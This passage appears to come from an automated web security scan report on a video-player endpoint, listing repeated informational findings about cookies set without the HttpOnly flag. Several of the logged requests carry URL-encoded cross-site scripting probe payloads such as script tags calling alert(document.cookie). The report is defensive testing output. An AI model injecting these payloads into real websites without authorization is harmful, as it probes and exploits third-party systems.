Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.407. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297018316=1297014716; expires=Sun, 06-Feb-2011 18:51:56 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:51:56 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:51:56 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:51:56 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; bpl1297012651=1297009051; bpl1297012667=1297009067; bpl1297016038=1297012438; bpl1297016059=1297012459; bpl1297016091=1297012491; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.408. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297015337=1297011737; expires=Sun, 06-Feb-2011 18:02:17 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:02:17 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:02:17 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:02:17 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297002287=1296998687; bpl1297002302=1296998702; bpl1297002318=1296998718; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=4881

Response

15.409. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012601=1297009001; expires=Sun, 06-Feb-2011 17:16:41 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:41 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:41 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:41 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.410. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297018518=1297014918; expires=Sun, 06-Feb-2011 18:55:18 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:55:18 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:55:18 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:55:18 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; bpl1297012651=1297009051; bpl1297012667=1297009067; bpl1297016038=1297012438; bpl1297016059=1297012459; bpl1297016091=1297012491; bpl1297016107=1297012507; bpl1297016122=1297012522; bpl1297016139=1297012539; bpl1297016155=1297012555; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.411. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297018202=1297014602; expires=Sun, 06-Feb-2011 18:50:02 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:50:02 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:50:02 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:50:02 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.412. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297014747=1297011147; expires=Sun, 06-Feb-2011 17:52:27 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:52:27 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:52:27 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:52:27 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.413. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012414=1297008814; expires=Sun, 06-Feb-2011 17:13:34 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:13:34 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:13:34 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:13:34 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.414. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012318=1297008718; expires=Sun, 06-Feb-2011 17:11:58 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:11:58 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:11:58 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:11:58 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.415. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012652=1297009052; expires=Sun, 06-Feb-2011 17:17:32 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:17:32 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:17:32 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:17:32 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.416. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1296950952=1296947352; expires=Sun, 06-Feb-2011 00:09:12 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:09:12 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:09:12 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; countryID=us; bpl1296950890=1296947290; bpl1296950905=1296947305; bpl1296950921=1296947321; bpl1296950936=1296947336; videoID=expired; auto=expired; playlist=5731; j2playlist=5731

Response

15.417. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1296950921=1296947321; expires=Sun, 06-Feb-2011 00:08:41 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:08:41 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:08:41 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; countryID=us; bpl1296950890=1296947290; bpl1296950905=1296947305; videoID=expired; auto=expired; playlist=5731; j2playlist=5731

Response

15.418. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297014810=1297011210; expires=Sun, 06-Feb-2011 17:53:30 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:53:30 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:53:30 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:53:30 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.419. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297015372=1297011772; expires=Sun, 06-Feb-2011 18:02:52 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:02:52 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:02:52 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:02:52 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297002287=1296998687; bpl1297002302=1296998702; bpl1297002318=1296998718; bpl1297002333=1296998733; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=4881

Response

15.420. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297013577=1297009977; expires=Sun, 06-Feb-2011 17:32:57 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:32:57 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:32:57 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:32:57 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
